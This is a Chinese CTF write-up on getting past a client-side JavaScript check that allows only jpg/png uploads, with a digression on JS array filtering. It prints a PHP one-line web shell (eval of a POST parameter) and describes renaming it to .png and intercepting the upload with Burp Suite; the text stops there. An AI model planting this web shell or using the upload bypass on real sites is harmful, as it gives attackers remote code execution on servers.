攻防世界上传一句话木马

这道题首先是检查出上传图片之后回响十分快，

所以的话有理由相信这就是js前端过滤

之后查看源代码

发现的确是在前端就进行了过滤，只允许上传 jpg png

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。下面是常识好吧。。。。。。

前端过滤的常见方法：：

1、filter()：数组的过滤器方法

2、Object.keys()：es6提供的方法，用来获取对象键值对的键的集合

3、every()：数组的every方法，因为检查数组内的所有元素是否都满足某一条件，如果都满足返回true,.如果有一项元素不满足就返回false。

4、includes():es7中提供的新方法，用于检测某字符串中是否包含给定的值，如果有返回true，没有返回false,数组中也有该方法

//假设后端通过接口给我们的数据如下：下面是一个例子
let data = [ {
name: 'Andy',
age: 13
}, {
name: 'Jack',
age: 14
}, {
name: 'Lucy',
age: 12
} ]
//在实际项目中，我们需要根据筛选框中的条件来实现数据的过滤,下面为过滤方法：
//@param condition 过滤条件
//@param data 需要过滤的数据
let filter=(condition,data)=>{
return data.filter( item => {
return Object.keys( condition ).every( key => {
return String( item[ key ] ).toLowerCase().includes(
String( condition[ key ] ).trim().toLowerCase() )
} )
} )
}
//假设选择的条件为name中带字母a的元素
var condition={name:'a'}
filter(condition,data) //[ {name: 'Andy',age: 13},{name: 'Jack',age: 14}]

//假设选择的条件为name中带字母a，而且age为13的元素
var condition={name:'a',age:13}
filter(condition,data) //[ {name: 'Andy',age: 13}]

相当于是函数的使用一样了吧，，filter() 个人感觉是这样的

首先是上传一句话木马，

 <?php @eval($_POST['attack']) ?>

审计代码知道只能是上传   png  j什么的格式   
之后就是把写好的一句话木马改后缀成png
然后上传
打开代理，使用 burpsuit  抓包，，，，这里的话一定要注意代开burpsuit的开关在上传，不要弄错，不然的话会抓到错误的包
正确的包应该是有文件名和文件类型的